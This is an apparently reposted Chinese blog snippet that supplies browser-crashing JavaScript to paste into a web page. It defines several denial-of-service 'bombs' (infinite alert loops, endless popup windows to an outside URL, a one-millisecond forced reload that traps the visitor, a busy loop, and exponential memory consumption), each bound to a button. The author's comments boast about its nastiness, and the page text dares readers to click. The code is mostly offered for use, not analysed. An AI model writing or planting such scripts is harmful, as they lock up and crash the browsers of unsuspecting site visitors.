危险,你敢点击吗?

在<BODY></BODY>中加入
<SCRIPT LANGUAGE="JavaScript">

<!-- Begin
function AnnoyingButton()
{
   while (true)
       window.alert("HAHAHA...you can't do anything anymore in Netscape without exiting and restarting....HAHAHA so gimme da UT now...or else!") }
// Keep opening windows over and over again
function WindowBomb()
{
    var iCounter = 0    // dummy counter
    while (true)
      {
        window.open("http://www.NETural.com/~ccamel","CRASHING" + iCounter,"width=1,height=1,resizable=no")
        iCounter++
      }
}
// Not as interesting as the other bombs, but this one forces the user to
// stay at the current page.  User cannot switch to another page, or click
// stop to stop the reloading.
function ReloadBomb()
{
   history.go(0)                         // reload this page
   window.setTimeout('ReloadBomb()',1)   // tell netscape to hit this function
                                         // every milisecond =)
}
// Not a very interesting bomb, it does nothing really :>
function WhileLoopLock()
{
   while (true){}
}
var szEatMemory = "GOBBLEGOBBLE"  // our string to consume our memory
// Now this function EatMemoryInTime is a interesting one that could be
// placed on a timer for maximum nastiness :>  I have been able to get
// up to 4Megs consumed by Netscape forcing my machine to crawl =)
// AND it's time driven!  No while loops here!
function EatMemoryInTime()
{
    szEatMemory = szEatMemory + szEatMemory                    // keep appending
    window.status = "String Length is: " + szEatMemory.length  // report size
    window.setTimeout('EatMemoryInTime()',1);                  // tell netscape to hit this function
}
// End -->

</SCRIPT>
<center>
下面的每一个按钮都很危险,一按你的电脑立即<font color=red>OVER</font>,不信试试吧!!!<br>

<FORM method=post name="FormAction" action="mailt"+"webmaster@mbsky.com">

<INPUT TYPE="button" value="Exploding Windows"
Name="btnExplodeWindows" onClick="WindowBomb()"><P><br>

<INPUT TYPE="button" value="Annoying Button" Name="btnAnnoy"
onClick="AnnoyingButton()"><P><br>

<INPUT TYPE="button" value="Reload Bomb" Name="btnReload"
onClick="ReloadBomb()"><P><br>

<INPUT TYPE="button" value="While Loop Lock" Name="btnWhile"
onClick="WhileLoopLock()"><p><br>

 <INPUT TYPE="button" value="Eat Memory In Time" Name="btnEatTime"
onClick="EatMemoryInTime()"><p><br>

<INPUT TYPE="button" value="Action!" onClick="document.FormAction.submit()"><br>
</center>

 

转载于:https://www.cnblogs.com/ietiany/archive/2010/03/29/1699577.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值